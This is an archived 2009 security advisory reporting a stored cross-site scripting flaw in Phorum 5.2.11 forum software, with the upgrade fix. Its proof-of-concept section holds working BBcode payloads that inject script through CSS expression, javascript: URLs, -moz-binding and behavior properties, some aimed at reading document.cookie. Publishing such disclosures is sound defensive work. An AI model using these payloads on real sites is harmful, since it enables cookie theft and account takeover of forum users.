89 lines
No EOL
2.2 KiB
Text
89 lines
No EOL
2.2 KiB
Text
//----- Advisory
|
|
|
|
Program : Phorum 5.2.11 and prior
|
|
Homepage : http://www.phorum.org/
|
|
Discovery : 2009/07/16
|
|
Author Contacted : 2009/07/17
|
|
Found by : CrashFr
|
|
This Advisory : CrashFr
|
|
|
|
//----- Application description
|
|
|
|
|
|
Started in 1998, Phorum was the original PHP and MySQL based Open Source
|
|
forum software. Phorum's developers pride themselves on creating message
|
|
board software that is designed to meet different needs of different web
|
|
sites while not sacrificing performance or features.
|
|
|
|
|
|
//----- Description of vulnerability
|
|
|
|
|
|
Phorum's filtering engine insufficiently filters some BBcode arguments.
|
|
Using the bbcode tags [color] and [size] it is possible to execute Javascript
|
|
using expression CSS property.
|
|
|
|
|
|
//----- Proof Of Concept
|
|
|
|
|
|
When the user post the following bbcode :
|
|
|
|
[color=#000000;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/color]
|
|
or
|
|
[size=20px;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/size]
|
|
|
|
The application convert it into the follow HTML code :
|
|
|
|
<span style="color:#000000;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>
|
|
and
|
|
<span style="font-size: 20px;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>
|
|
|
|
For IE6 you can use this POC:
|
|
|
|
[color=#000000;background-image:url(javascript:alert('Sysdream_IE6_Alert'));]Sysdream
|
|
Testing IE6[/color]
|
|
|
|
For IE7:
|
|
[color=#000000;xss:expression(alert('Sysdream_IE7_Alert'));]Sysdream Testing
|
|
XSS[/color]
|
|
|
|
Obviously, the POC doesn't work in IE8 and Firefox.
|
|
|
|
But, but , but...
|
|
Uploading htc (for IE8) or xml (for FF) file on the phorum using the "My
|
|
Files" function in "Control Center", you can use :
|
|
|
|
POC for FF:
|
|
[color=#000000;-moz-binding:url(http://127.0.0.1/phorum/file.php?0,file=9,filename=script.xml#mycode);]Sysdream
|
|
Testing FF[/color]
|
|
|
|
POC for IE8:
|
|
[color=#000000;behavior:url(http://127.0.0.1/phorum/file.php?0,file=8,filename=script.htc);]Sysdream
|
|
Testing FF[/color]
|
|
|
|
//----- Impact
|
|
|
|
|
|
This vulnerability can be used to modify the phorum display, to gather the victim's cookie, etc.
|
|
|
|
|
|
//----- Solution
|
|
|
|
Upgrade Phorum to 5.2.12
|
|
|
|
|
|
//----- Credits
|
|
|
|
|
|
http://www.sysdream.com
|
|
http://www.hackerzvoice.net
|
|
|
|
crashfr at sysdream dot com
|
|
|
|
|
|
//----- Greetings
|
|
|
|
Virtualabs
|
|
|
|
# milw0rm.com [2009-07-22] |